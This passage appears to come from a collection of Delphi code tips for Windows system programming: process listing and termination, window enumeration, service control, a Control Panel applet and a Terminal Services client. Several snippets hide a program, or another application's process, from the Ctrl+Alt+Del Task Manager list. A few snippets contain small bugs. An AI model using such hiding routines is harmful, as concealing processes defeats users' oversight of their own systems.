image1.Picture.Bitmap.LoadFromStream(ms);
finally
ms.Free;
end;
end;
end;
end;
end.
{
With the following routines it ist simply easy to kill a running process.
First build a form with a TListview with 3 columns and a TButton
to refresh the running processes.
Attach the Refreshclick-procedure to the TButton and the
ListViewDblClick-procedure with the TListview
The TListview shows the processes.
With a Doubleclick on one of the processnames you can kill this running process.
Don't forget to include TLHelp32 into your uses-clause!
Mit der nachfolgend aufgefuhrten Routinen konnen Sie die in einer
Windowssitzung laufenden Prozesse aufzeigen und bei Bedarf auch
entfernen. Hierfur benotigen Sie ein Formobject, ein ListViewobject und zu-
mindest ein ButtonObject. Verknupfen Sie das Buttonobject mit dem BtnRefreshClick
damit gleich beim Start des Programms alle Prozesse angezeigt werden.
Zum loschen eines Prozesses mussen Sie eine Verknupfung zwischen DblClick
des Listviewobject mit der Procedure ListviewDblClick.
Wie aus den beigefugten Routinen ersichtlich, kann auch ein einzelner Prozess
gesucht und terminiert werden. Die hierzu erforderlichen Schritte konnen aus
der Refreshroutine entnommen werden.
Wichtig ist die Einbindung der Unit TlHelp32 !
}
interface
uses
{...,}TLHelp32 {important !}
// Global Variables, Globale Variablen
var
aSnapshotHandle: THandle;
aProcessEntry32: TProcessEntry32;
implementation
procedure TForm1.BtnRefreshClick(Sender: TObject);
var
i: Integer;
bContinue: BOOL;
NewItem: TListItem;
begin
ListView1.Items.Clear;
aSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
aProcessEntry32.dwSize := SizeOf(aProcessEntry32);
bContinue := Process32First(aSnapshotHandle, aProcessEntry32);
while Integer(bContinue) <> 0 do
begin
NewItem := ListView1.Items.Add;
NewItem.Caption := ExtractFileName(aProcessEntry32.szExeFile);
NewItem.subItems.Add(IntToHex(aProcessEntry32.th32ProcessID, 4));
NewItem.subItems.Add(aProcessEntry32.szExeFile);
bContinue := Process32Next(aSnapshotHandle, aProcessEntry32);
end;
CloseHandle(aSnapshotHandle);
end;
procedure TForm1.ListView1DblClick(Sender: TObject);
var
Ret: BOOL;
PrID: Integer; // processidentifier
Ph: THandle; // processhandle
begin
with ListView1 do
begin
if MessageDlg('Do you want to Terminate "' + ItemFocused.Caption + '"?' + ^J +
'It''s possible the system becames instable or out of' + ^J +
'control......',
mtConfirmation, [mbYes, mbNo], 0) = mrYes then
begin
PrID := StrToInt('$' + ItemFocused.SubItems[0]);
Ph := OpenProcess(1, BOOL(0), PrID);
Ret := TerminateProcess(Ph, 0);
if Integer(Ret) = 0 then
MessageDlg('Cannot terminate "' + ItemFocused.Caption + '"',
mtInformation, [mbOK], 0)
else
ItemFocused.Delete;
end;
end;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
{
ListView1.Columns.Add;
ListView1.Columns.Add;
ListView1.Columns.Add;
ListView1.ViewStyle := vsReport;
}
BtnRefresh.Click;
end;
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Получение списка окон, с возможностью указания типа окна
Процедура заполняет список List именами окон, в ОС.
ПАРАМЕТРЫ:
YourApplicationHandle - дескриптор приложения,
вызывающего процедуру (Application.Handle);
ShowOwnWindow - указание на то, что в списке List,
должно быть также имя окна вызвавшего процедуру;
ShowInvisibleWindows - укание на отображение в List имён невидимых окон;
ShowChildWindows - указание на отображение в LIST имён дочерних окон;
ShowNoHeadWindows - отображение списка окон, без заголовков;
ShowMainWindows - отображение родительских окон.
Также для каждой строки списка LIST добавляется объект (Object),
который содержит указатель дескриптор окна.
При обнаружении недостатков, или вопиющей неоптимальности кода - пишите :)
Зависимости: sysutils, classes, windows, UBPFD.GetWordListFromText
Автор: VID, vidsnap@mail.ru, ICQ:132234868, Махачкала
Copyright: VID
Дата: 02 мая 2002 г.
***************************************************** }
procedure GetWindowsList(List: TStrings; YourApplicationHandle: HWND;
ShowOwnWindow, ShowInvisibleWindows, ShowChildWindows, ShowNoHeadWindows,
ShowMainWindows: Boolean);
var
Wnd: hWnd;
buff: array[0..127] of Char;
I: integer;
CanShowIt: Boolean;
WindowType, UnAcceptWinTypes: string;
WordList: TStringList;
begin
List.Clear;
Wnd := GetWindow(YourApplicationHandle, gw_HWndFirst);
WordList := TStringList.Create;
while Wnd <> 0 do
begin
WindowType := '';
if Wnd = YourApplicationHandle then
WindowType := WindowType + ' own '; {собственное окно}
if IsWindowVisible(Wnd) = null then
WindowType := WindowType + ' invisible '; {-Невидимые окна}
if GetWindow(Wnd, gw_child) <> 0 then
WindowType := WindowType + ' child '; {-Дочерние окна}
if GetWindowText(Wnd, buff, sizeof(buff)) = 0 then
WindowType := WindowType + ' nohead '; {-Окна без заголовков}
if GetWindow(Wnd, gw_Owner) <> 0 then
WindowType := WindowType + ' main '; {-Главные окна}
UnAcceptWinTypes := '';
if ShowOwnWindow = False then
UnAcceptWinTypes := UnAcceptWinTypes + ' own ';
if ShowInvisibleWindows = False then
UnAcceptWinTypes := UnAcceptWinTypes + ' invisible ';
if ShowChildWindows = False then
UnAcceptWinTypes := UnAcceptWinTypes + ' child ';
if ShowNoHeadWindows = False then
UnAcceptWinTypes := UnAcceptWinTypes + ' nohead ';
if ShowMainWindows = False then
UnAcceptWinTypes := UnAcceptWinTypes + ' main ';
CanShowIt := True;
GetWordListFromText(UnAcceptWinTypes, ' ', WordList, False, False);
if WordList.Count > 0 then
begin
I := -1;
repeat
I := I + 1;
if Pos(WordList.Strings[i], WindowType) > 0 then
CanShowIt := False;
until (I = WordList.Count - 1) or (CanShowIt = False);
end;
if CanShowIt = True then
begin
GetWindowText(Wnd, buff, sizeof(buff));
I := List.Add(StrPas(buff));
List.Objects[I] := Pointer(Wnd);
end;
Wnd := GetWindow(Wnd, gw_hWndNext);
end;
WordList.Free;
end;
Пример использования:
procedure TForm1.Button1Click(Sender: TObject);
begin
GetWindowsList(memo1.Lines, self.Handle, true, false, false, true, true);
end;
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Получение списка процессов в Windows 9x/NT
Определяет список модулей, запущенных в настоящее время в системе, и заносит их
имена в список TStrings. На Win9x использует функции ToolHelp32,
на NT/2000/XP - библиотеку PSAPI.dll
Зависимости: Windows, Classes, PSAPI, TlHelp32
Автор: Евгений Пелега, drpass@mail.ru, Донецк
Copyright: Евгений Пелега
Дата: 26 апреля 2002 г.
***************************************************** }
procedure GetProcessList(var sl: TStrings);
var
pe: TProcessEntry32;
ph, snap: THandle; //дескрипторы процесса и снимка
mh: hmodule; //дескриптор модуля
procs: array[0..$FFF] of dword; //массив для хранения дескрипторов процессов
count, cm: cardinal; //количество процессов
i: integer;
ModName: array[0..max_path] of char; //имя модуля
begin
sl.Clear;
if Win32Platform = VER_PLATFORM_WIN32_WINDOWS then
begin //если это Win9x
snap := CreateToolhelp32Snapshot(th32cs_snapprocess, 0);
if integer(snap) = -1 then
begin
exit;
end
else
begin
pe.dwSize := sizeof(pe);
if Process32First(snap, pe) then
repeat
sl.Add(string(pe.szExeFile));
until not Process32Next(snap, pe);
end;
end
else
begin //Если WinNT/2000/XP
if not EnumProcesses(@procs, sizeof(procs), count) then
begin
exit;
end;
for i := 0 to count div 4 - 1 do
begin
ph := OpenProcess(PROCESS_QUERY_INFORMATION or PROCESS_VM_READ,
false, procs[i]);
if ph > 0 then
begin
EnumProcessModules(ph, @mh, 4, cm);
GetModuleFileNameEx(ph, mh, ModName, sizeof(ModName));
sl.Add(string(ModName));
CloseHandle(ph);
end;
end;
end;
end;
Пример использования:
procedure TForm1.Button1Click(Sender: TObject);
var
tmp: TStrings;
begin
tmp := memo1.Lines;
GetProcessList(tmp);
end;
// Works only on Windows NT systems (WinNT, Win2000, WinXP)
// Funktioniert nur unter Windows NT Systemen (WinNT, Win2000, WinXP)
uses psAPI;
procedure TForm1.Button1Click(Sender: TObject);
var
pmc: PPROCESS_MEMORY_COUNTERS;
cb: Integer;
begin
cb := SizeOf(_PROCESS_MEMORY_COUNTERS);
GetMem(pmc, cb);
pmc^.cb := cb;
if GetProcessMemoryInfo(GetCurrentProcess(), pmc, cb) then
Label1.Caption := IntToStr(pmc^.WorkingSetSize) + ' Bytes'
else
Label1.Caption := 'Unable to retrieve memory usage structure';
FreeMem(pmc);
end;
uses
WinSvc;
function ServiceGetStatus(sMachine, sService: PChar): DWORD;
{******************************************}
{*** Parameters: ***}
{*** sService: specifies the name of the service to open
{*** sMachine: specifies the name of the target computer
{*** ***}
{*** Return Values: ***}
{*** -1 = Error opening service ***}
{*** 1 = SERVICE_STOPPED ***}
{*** 2 = SERVICE_START_PENDING ***}
{*** 3 = SERVICE_STOP_PENDING ***}
{*** 4 = SERVICE_RUNNING ***}
{*** 5 = SERVICE_CONTINUE_PENDING ***}
{*** 6 = SERVICE_PAUSE_PENDING ***}
{*** 7 = SERVICE_PAUSED ***}
{******************************************}
var
SCManHandle, SvcHandle: SC_Handle;
SS: TServiceStatus;
dwStat: DWORD;
begin
dwStat := 0;
// Open service manager handle.
SCManHandle := OpenSCManager(sMachine, nil, SC_MANAGER_CONNECT);
if (SCManHandle > 0) then
begin
SvcHandle := OpenService(SCManHandle, sService, SERVICE_QUERY_STATUS);
// if Service installed
if (SvcHandle > 0) then
begin
// SS structure holds the service status (TServiceStatus);
if (QueryServiceStatus(SvcHandle, SS)) then
dwStat := ss.dwCurrentState;
CloseServiceHandle(SvcHandle);
end;
CloseServiceHandle(SCManHandle);
end;
Result := dwStat;
end;
function ServiceRunning(sMachine, sService: PChar): Boolean;
begin
Result := SERVICE_RUNNING = ServiceGetStatus(sMachine, sService);
end;
// Check if Eventlog Service is running
procedure TForm1.Button1Click(Sender: TObject);
begin
if ServiceRunning(nil, 'Eventlog') then
ShowMessage('Eventlog Service Running')
else
ShowMessage('Eventlog Service not Running')
end;
{
Windows 2000 and earlier: All processes are granted the SC_MANAGER_CONNECT,
SC_MANAGER_ENUMERATE_SERVICE, and SC_MANAGER_QUERY_LOCK_STATUS access rights.
Windows XP: Only authenticated users are granted the SC_MANAGER_CONNECT,
SC_MANAGER_ENUMERATE_SERVICE,
and SC_MANAGER_QUERY_LOCK_STATUS access rights.
}
{
Do not use the service display name (as displayed in the services
control panel applet.) You must use the real service name, as
referenced in the registry under
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services
}
Программа не видна по Ctrl+Alt+Del, и сама оттуда же может спрятать любой из процессов(правда, не все с самого начала
"светятся" по Ctrl+Alt+Del) или завершить его. Простой пример для знакомства с ToolHelp32.
В исходном коде есть недоработки, например, процедура Delproc получает в качестве параметра строку, затем переводит ее
в целочисленный тип(integer), хотя можно передавать сразу число. Заморочка была в проверке числа-индекса на подлинность,
а так как я выдрал часть кода из более ранней своей проги, я не стал это менять, а просто подогнал до рабочей версии.
Оптимизацией кода вы можете заняться сами по желанию(вы можете, если хотите, а если не хотите, то вы не обязаны, вы
посто могли бы... да... :))) Программа не работала в WinNT 4.0, но в Win9x работать должна.
unit main;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ExtCtrls, tlhelp32, StdCtrls, ComCtrls, Buttons;
type
TForm1 = class(TForm)
ListBox1: TListBox;
Button1: TButton;
Button2: TButton;
Button4: TButton;
Button5: TButton;
StatusBar1: TStatusBar;
Button6: TButton;
procedure Button4Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure Button1Click(Sender: TObject);
procedure Button5Click(Sender: TObject);
procedure ListBox1Click(Sender: TObject);
procedure Button6Click(Sender: TObject);
private
{ Private declarations }
procedure ListProcesses;
procedure Delproc(numb: string);
public
{ Public declarations }
end;
var
Form1: TForm1;
processID: array[1..50] of integer;
function RegisterServiceProcess(dwProcessID, dwType: integer): integer; stdcall;
external 'kernel32.dll';
implementation
{$R *.DFM}
procedure TForm1.delproc(numb: string);
var
c1: Cardinal;
pe: TProcessEntry32;
s1, s2: string;
x: integer;
begin
x := 0;
try
Strtoint(numb);
except
Statusbar1.SimpleText := 'Invalid number';
exit;
end;
c1 := CreateToolHelp32Snapshot(TH32CS_SnapProcess, 0);
if c1 = INVALID_HANDLE_VALUE then
begin
Statusbar1.SimpleText := 'Process listing failed';
exit;
end;
try
pe.dwSize := sizeof(pe);
if Process32First(c1, pe) then
repeat
inc(x);
s1 := ExtractFileName(pe.szExeFile);
s2 := ExtractFileExt(s1);
Delete(s1, length(s1) + 1 - length(s2), maxInt);
if x = strtoint(numb) then
if terminateprocess(OpenProcess(PROCESS_ALL_ACCESS, false,
pe.th32ProcessID), 1) then
begin
Statusbar1.SimpleText := 'Process ' + s1 + ' terminated.';
end
else
Statusbar1.SimpleText := ('Couldnt terminate process' +
pe.szExeFile);
until not Process32Next(c1, pe);
finally CloseHandle(c1);
end;
end;
procedure Tform1.ListProcesses;
var
c1: Cardinal;
pe: TProcessEntry32;
s1, s2: string;
x: integer;
begin
X := 0;
c1 := CreateToolHelp32Snapshot(TH32CS_SnapProcess, 0);
if c1 = INVALID_HANDLE_VALUE then
begin
Statusbar1.SimpleText := ('Информация о процессах закрыта.');
exit;
end;
try
pe.dwSize := sizeof(pe);
if Process32First(c1, pe) then
repeat
inc(x);
s1 := ExtractFileName(pe.szExeFile);
s2 := ExtractFileExt(s1);
Delete(s1, length(s1) + 1 - length(s2), maxInt);
Listbox1.Items.Add(Inttostr(x) + ' ' + s1 + ' : ' + pe.szExeFile);
ProcessId[x] := pe.th32ProcessID;
//ListBox1.Items.Add(inttostr(pe.th32ProcessID));
until not Process32Next(c1, pe);
finally CloseHandle(c1);
end;
end;
procedure TForm1.Button4Click(Sender: TObject);
begin
Close;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
Button1.Enabled := false;
Button5.Enabled := false;
Button6.Enabled := false;
ListProcesses;
if not (csDesigning in ComponentState) then
RegisterServiceProcess(GetCurrentProcessID, 1);
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
Listbox1.Clear;
ListProcesses;
end;
procedure TForm1.Button1Click(Sender: TObject);
var
p: integer;
begin
//hide
with Listbox1 do
p := Listbox1.Items.IndexOf(Listbox1.items[itemindex]) + 1;
if not (csDesigning in ComponentState) then
RegisterServiceProcess(ProcessID[p], 1);
with Listbox1 do
StatusBar1.SimpleText := (Listbox1.items[itemindex] + ' hidden');
end;
procedure TForm1.Button5Click(Sender: TObject);
var
p: integer;
begin
//show
with Listbox1 do
p := Listbox1.Items.IndexOf(Listbox1.items[itemindex]) + 1;
if not (csDesigning in ComponentState) then
RegisterServiceProcess(ProcessID[p], 0);
with Listbox1 do
StatusBar1.SimpleText := (Listbox1.items[itemindex] + ' shown');
end;
procedure TForm1.ListBox1Click(Sender: TObject);
begin
Button1.Enabled := true;
Button5.Enabled := true;
Button6.Enabled := true;
end;
procedure TForm1.Button6Click(Sender: TObject);
var
p: integer;
begin
with Listbox1 do
p := Listbox1.Items.IndexOf(Listbox1.items[itemindex]) + 1;
delproc(inttostr(p));
end;
end.
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Прячет программу в TaskManager (по Ctrl+Alt+Del)
Фунция прячет программу для TaskManager, регестрируя ее как сервис.
Запускать из приложения.
Передаешь true для регистрации сервиса, false для снятия регистрации.
Возвращает true если успешно.
В win95-98-ME программа исчезнет из списка задач.
В NT/2000/XP просто нет RegisterServiceProcess и функция вернет
false без возникновения ошибки.
Зависимости: *
Автор: Subfire, subfire@mail.ru, ICQ:55161852, Санкт-Петербург
Copyright: Subfire
Дата: 3 октября 2002 г.
***************************************************** }
function RegisterAsService(Enable: Boolean): boolean;
type
TRSP = function(H: THandle; K: word): longword; stdcall;
var
RSP: TRSP;
begin
@RSP := GetProcAddress(GetModuleHandle(PChar('kernel32.dll')),
PChar('RegisterServiceProcess'));
Result := Assigned(@RSP);
if Result then
begin
if Enable then
Result := (RSP(0, 1) = 1)
else
Result := (RSP(0, 0) = 1);
end;
Пример использования:
// OnCreate
RegisterAsService(True); // Спрятали
// on **
RegisterAsService(False); // Показали
Апплеты в панели управления, это обычные DLL, имеющие расширение .cpl (Control Panel Library) и располагающиеся в
системной директории Windows. В свою очередь, в каждом файле cpl может храниться несколько апплетов. Cpl имеет
единственную функцию точки входа CPlApplet(), через которую поступают все сообщения от панели управления.
Давайте рассмотрим сообщения, с которыми панель управления вызывает функцию CPlApplet():
* CPL_INIT - сообщение, которым CPlApplet() вызывается первый раз (инициализация). Возвращаем TRUE для продолжения
процесса загрузки.
* CPL_GETCOUNT - этим сообщением панель управления запрашивает количество поддерживаемых апплетов в файле cpl.
* CPL_INQUIRE - панель управления запрашивает информацию о каждом апплете, хранящемся в файле cpl. При этом,
параметр lParam1 будет содержать номер апплета, о котором панель управления хочет получить информацию, lParam2
будет указывать на структуру TCplInfo. Поле idIcon в структуре TClpInfo должно содержать идентификатор (id) ресурса
иконки, которая будет отображаться в панели управления, а поля idName и idInfo должны содержать идентификаторы
строковых ресурсов для имени и описания. lData может содержать данные, которые будут использоваться апплетом.
* CPL_SELECT - это сообщение посылается апплету, если его иконка была выбрана пользователем. При этом lParam1
содержит номер выбранного апплета, а lParam2 содержит значение lData, определённое для данного апплета.
* CPL_DBLCLK - это сообщение будет послано, если по иконке апплета сделать двойной щелчёк. lParam1 будет
содержать номер апплета, а lParam2 будет содержать значение lData, определённое для данного апплета. При поступление
это сообщения апплет должен как-то показать себя, в частности отобразить своё диалоговое окно.
* CPL_STOP - Посылается каждому апплету, когда панель управления закрывается. lParam1 содержит номер апплета, а
lParam2 содержит значение lData, определённое для данного апплета.
* CPL_EXIT - Посылается перед тем, как панель управления вызовет FreeLibrary.
* CPL_NEWINQUIRE - тоже, что и CPL_INQUIRE за исключением того, что lParam2 указывает на структуру NEWCPLINFO.
Итак, приступим. Для начала необходимо создать файл ресурсов, содержащий таблицу строк для имени и описания Вашего
апплета(ов), а также иконки для каждого апплета (если у Вас их будет несколько).
Пример .rc файла содержит таблицу строк, состоящую из двух строк, и указатель на файл с иконкой:
STRINGTABLE
{
1, "TestApplet"
2, "My Test Applet"
}
2 ICON C:\SOMEPATH\CHIP.ICO
Чтобы преобразовать файл .rc в .res, (который можно будет спокойно прилинковать к Вашему приложению) достаточно
просто указать в командной строке полный путь до компилятора ресурсов и полный путь до файла .rc:
c:\Delphi\Bin\brcc32.exe c:\Delphi\MyRes.rc
После того, как компиляция будет завершена, то Вы получите новый файл, с таким же именем, что и .rc, только с
расширением ".res".
Следующий пример, это апплет панели управления, который в ответ на сообщение CPL_DBLCLK запускает блокнот. Код
можно легко изменить, чтобы отображалась форма или диалоговое окошко. Этот код можно компилировать как под
платформу Win32, так и под Win16.
Чтобы скомпилировать проект, необходимо из вышеприведённого файла .rc создать два: TCPL32.RES и TCPL16.RES.
library TestCpl;
{$IFDEF WIN32}
uses
SysUtils,
Windows,
Messages;
{$ELSE}
uses
SysUtils,
WinTypes,
WinProcs,
Messages;
{$ENDIF}
{$IFDEF WIN32}
{$R TCPL32.RES}
{$ELSE}
{$R TCPL16.RES}
{$ENDIF}
const
NUM_APPLETS = 1;
{$IFDEF WIN32}
const
CPL_DYNAMIC_RES = 0;
{$ENDIF}
const
CPL_INIT = 1;
const
CPL_GETCOUNT = 2;
const
CPL_INQUIRE = 3;
const
CPL_SELECT = 4;
const
CPL_DBLCLK = 5;
const
CPL_STOP = 6;
const
CPL_EXIT = 7;
const
CPL_NEWINQUIRE = 8;
{$IFDEF WIN32}
const
CPL_STARTWPARMS = 9;
{$ENDIF}
const
CPL_SETUP = 200;
{$IFNDEF WIN32}
type
DWORD = LongInt;
{$ENDIF}
type
TCplInfo = record
idIcon: integer;
idName: integer;
idInfo: integer;
lData: LongInt;
end;
PCplInfo = ^TCplInfo;
type
TNewCplInfoA = record
dwSize: DWORD;
dwFlags: DWORD;
dwHelpContext: DWORD;
lData: LongInt;
IconH: HIcon;
szName: array[0..31] of char;
szInfo: array[0..63] of char;
szHelpFile: array[0..127] of char;
end;
PNewCplInfoA = ^TNewCplInfoA;
{$IFDEF WIN32}
type
TNewCplInfoW = record
dwSize: DWORD;
dwFlags: DWORD;
dwHelpContext: DWORD;
lData: LongInt;
IconH: HIcon;
szName: array[0..31] of WChar;
szInfo: array[0..63] of WChar;
szHelpFile: array[0..127] of WChar;
end;
PNewCplInfoW = ^TNewCplInfoW;
{$ENDIF}
type
TNewCplInfo = TNewCplInfoA;
type
PNewCplInfo = ^TNewCplInfoA;
function CPlApplet(hWndCPL: hWnd;
iMEssage: integer;
lParam1: longint;
lParam2: longint): LongInt
{$IFDEF WIN32} stdcall;
{$ELSE}; export;
{$ENDIF}
begin
case iMessage of
CPL_INIT:
begin
Result := 1;
exit;
end;
CPL_GetCount:
begin
Result := NUM_APPLETS;
exit;
end;
CPL_Inquire:
begin
PCplInfo(lParam2)^.idIcon := 2;
PCplInfo(lParam2)^.idName := 1;
PCplInfo(lParam2)^.idInfo := 2;
PCplInfo(lParam2)^.lData := 0;
Result := 1;
exit;
end;
CPL_NewInquire:
begin
PNewCplInfo(lParam2)^.dwSize := sizeof(TNewCplInfo);
PNewCplInfo(lParam2)^.dwHelpContext := 0;
PNewCplInfo(lParam2)^.lData := 0;
PNewCplInfo(lParam2)^.IconH := LoadIcon(hInstance,
MakeIntResource(2));
lStrCpy(@PNewCplInfo(lParam2)^.szName, 'TestCPL');
lStrCpy(PNewCplInfo(lParam2)^.szInfo, 'My Test CPL');
PNewCplInfo(lParam2)^.szHelpFile[0] := #0;
Result := 1;
exit;
end;
CPL_SELECT:
begin
Result := 0;
exit;
end;
CPL_DBLCLK:
begin
WinExec('Notepad.exe', SW_SHOWNORMAL);
Result := 1;
exit;
end;
CPL_STOP:
begin
Result := 0;
exit;
end;
CPL_EXIT:
begin
Result := 0;
exit;
end
else
begin
Result := 0;
exit;
end;
end;
end;
exports CPlApplet name 'CPlApplet';
begin
end.
{ **** UBPFD *********** by delphibase.endimus.com ****
>> СКРЫТИЕ или отображение процесса из списка ctrl+alt+del
СКРЫТИЕ или отображение процесса в списке ctrl+alt+del
ПРАВИЛА ИСПОЛЬЗОВАНИЯ:
ДЛЯ скрытия собственного приложения из списка процессов, отображаемых
при нажатии CTRL+ALT+DEL, вызывайте функцию ShowHideInCad со следующими
параметрами:
ShowHideInCad (TakeMyApplicationProcessID, False) - и название Вашего
приложения будет скрыто из списка CTRL+ALT+DEL
ДЛЯ скрытия процесса чужого приложения, вызывайте функцию с такими
параметрами:
ShowHideInCAD (TakeProcessID('Заголовок окна скрываемого приложения'), FALSE)
Зависимости: windows
Автор: VID, vidsnap@mail.ru, ICQ:132234868, Махачкала
Copyright: VID
Дата: 23 мая 2002 г.
***************************************************** }
unit cad;
interface
uses windows;
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
stdcall; external 'KERNEL32.DLL';
function ShowHideInCad(ProcessID: Integer; Show: Boolean): boolean;
function TakeProcessID(WindowTitle: string): Integer;
function TakeMyApplicationProcessID: Integer;
implementation
//Получение дескриптора процесса любого окна, по заголовку этого окна
function TakeProcessID(WindowTitle: string): Integer;
var
WH: THandle;
begin
result := 0;
WH := FindWindow(nil, pchar(WindowTitle));
if WH <> 0 then
GetWindowThreadProcessID(WH, @Result);
end;
//Получение дескриптора процесса собственного приложения
function TakeMyApplicationProcessID: Integer;
begin
Result := GetCurrentProcessID;
end;
//Отображение/Скрытие процесса в CTRL+ALT+DEL
function ShowHideInCAD(ProcessID: Integer; Show: Boolean): Boolean;
begin
result := true;
try
//если show = true , то отображаем процесс в CAD, иначе - прячем
if Show = True then
RegisterServiceProcess(ProcessID, 0)
else
RegisterServiceProcess(ProcessID, 1);
except result := false;
end;
end;
end.
{
"WINDOWS2000 SERVER" / "WINDOWS XP" terminal services are very important in a computer
network: each client computer can emulate server's desktop by using a simple executable
named "mstsc.exe". This executable uses the ActiveX control "MStscax" defined in
"mstscax.dll".
These files are automatically installed in Windows XP and Windows 2000 Server but not
in Windows2000 Professional or Windows98. You can download the entire package containing
these file at the following url:
http://www.microsoft.com/windows2000/downloads/recommended/TSAC/tsmsi.asp?Lang=
After downloading the executable "tsmsisetup.exe", run it to unpack. Now let's
take into consideration the folder "System32": this is the folder containing
"mstsc.exe" and "mstscax.dll".
Now register the ActiveX control "MsTscAx":
1)Start->Run->
2)type the following command line: regsvr32 \mstscax.dll
where is the complete path to the file "mstscax.dll".
In this article I will show you how to embed the ActiveX control "MsTscAx"
in a Delphi application in order to build a substitute of "mstsc.exe".
First of all you must import the ActiveX control "mstscax":
in the Delphi IDE:
1)Component->Import ActiveX Control
2)Select "Microsoft Terminal Services Control"
the class name will be "TMsTscAx"
3)Select the unit dir name and press "Create Unit": you have created the import Unit.
4)Create a package or select an existing one and add the created unit to this package
Recompile the package and now delphi palette will contain (in the ActiveX tab if you
haven't changed it in the importing process) the MstScax component.
Now create a new Delphi project and add the Mstscax component to it.
Let's go to analize the interesting properties of this new component:
1)Server: this is the IP of the Windows2000 Server computer whose desktop we want
to emulate
2)BitmapPeristence:
1 if you want to cache Bitmaps or 0 otherwise
3)Compress:
1 if you want to cache data or 0 otherwise
With the "Connect" method I open a terminal emulation session.
With the "Disconnect" method I disconnect from a terminal emulation session but the
session itself isn't closed on the server.
Another important feature of "Client Terminal Service" is the ability to define a
program that automatically run when the client machine opens a terminal
emulation session. You can programatically achieve this target in this manner:
Set_StartProgram(\);
Once defined an automatically running program, the client computer will see a remote
desktop which is clear except for the presence of the program itself; this is
useful if you want to restrict the operative range of your client computers to the
program itself. When the program is closed, the connection is closed and the session
on the windows 2000 server computer is closed.
this is the code of my example project:
}
unit Main;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
OleCtrls, ExtCtrls, StdCtrls,
MSTSCLib_TLB;//the import Unit: substitute it with the name you assigned
//during the import process if this is different to it
type
TForm1 = class(TForm)
MsTscAx1: TMsTscAx;
Panel1: TPanel;
btConnect: TButton;
procedure btConnectClick(Sender: TObject); //connection button
procedure FormCreate(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure MsTscAx1Disconnected(Sender: TObject;
DisconnectReason: Integer);
procedure MsTscAx1Connecting(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.btConnectClick(Sender: TObject);
begin
MsTscAx1.Connect;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
Left := 0;
Top := 0;
Height := Screen.Height - 20;
Width := Screen.Width;
MsTscAx1.Server := '1.2.3.4'; //substitute it with the IP Address of your server
with MsTscAx1.AdvancedSettings do
begin
BitmapPeristence := 1;//enable bitmap cache
Compress := 1;//enable data cache
end;
with MsTscAx1.SecuredSettings do
begin
Set_StartProgram('C:\Sviluppo\Delphi\DbBrowser.exe');
//the program I want to run
end;
end;
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
if not btConnect.Enabled then
//I must close the automatically running program before closing
//my terminal emulation program
begin
MessageDlg('Close "DbBrowser.exe" before closing the application!',
mtInformation, [mbOK], 0);
Action := caNone;
end;
end;
procedure TForm1.MsTscAx1Disconnected(Sender: TObject;
DisconnectReason: Integer);
begin
btConnect.Enabled := True;
end;
procedure TForm1.MsTscAx1Connecting(Sender: TObject);
begin
btConnect.Enabled := False;
end;
end.
{
In order to run this application in another computer you must copy the file
"mstscax.dll" on the target
computer and register it with "regsvr32" as shown at the beginning of this
article. You can automate this
process by embedding the file in your executable, etc..
Carlo Pasolini, Riccione(Italy), ccpasolini@libero.it
}
{
The following class TServiceManager can be used to manage your NT-Services.
You can do things like start, stop, pause or querying a services status.
}
{
Die folgende Klasse TServiceManager kann verwendet werden, um NT-Dienste
zu verwalten. Hierbei gibt es Funktionen wie Start, Stop, Pause sowie
Statusabfragen.
}
// Thanks for this one to Frederik Schaller as well - it's a co-work }
unit ServiceManager;
interface
uses
SysUtils, Windows, WinSvc;
type
TServiceManager = class
private
{ Private declarations }
ServiceControlManager: SC_Handle;
ServiceHandle: SC_Handle;
protected
function DoStartService(NumberOfArgument: DWORD; ServiceArgVectors: PChar): Boolean;
public
{ Public declarations }
function Connect(MachineName: PChar = nil; DatabaseName: PChar = nil;
Access: DWORD = SC_MANAGER_ALL_ACCESS): Boolean; // Access may be SC_MANAGER_ALL_ACCESS
function OpenServiceConnection(ServiceName: PChar): Boolean;
function StartService: Boolean; overload; // Simple start
function StartService(NumberOfArgument: DWORD; ServiceArgVectors: PChar): Boolean;
overload; // More complex start
function StopService: Boolean;
procedure PauseService;
procedure ContinueService;
procedure ShutdownService;
procedure DisableService;
function GetStatus: DWORD;
function ServiceRunning: Boolean;
function ServiceStopped: Boolean;
end;
implementation
{ TServiceManager }
function TServiceManager.Connect(MachineName, DatabaseName: PChar;
Access: DWORD): Boolean;
begin
Result := False;
{ open a connection to the windows service manager }
ServiceControlManager := OpenSCManager(MachineName, DatabaseName, Access);
Result := (ServiceControlManager <> 0);
end;
function TServiceManager.OpenServiceConnection(ServiceName: PChar): Boolean;
begin
Result := False;
{ open a connetcion to a specific service }
ServiceHandle := OpenService(ServiceControlManager, ServiceName, SERVICE_ALL_ACCESS);
Result := (ServiceHandle <> 0);
end;
procedure TServiceManager.PauseService;
var
ServiceStatus: TServiceStatus;
begin
{ Pause the service: attention not supported by all services }
ControlService(ServiceHandle, SERVICE_CONTROL_PAUSE, ServiceStatus);
end;
function TServiceManager.StopService: Boolean;
var
ServiceStatus: TServiceStatus;
begin
{ Stop the service }
Result := ControlService(ServiceHandle, SERVICE_CONTROL_STOP, ServiceStatus);
end;
procedure TServiceManager.ContinueService;
var
ServiceStatus: TServiceStatus;
begin
{ Continue the service after a pause: attention not supported by all services }
ControlService(ServiceHandle, SERVICE_CONTROL_CONTINUE, ServiceStatus);
end;
procedure TServiceManager.ShutdownService;
var
ServiceStatus: TServiceStatus;
begin
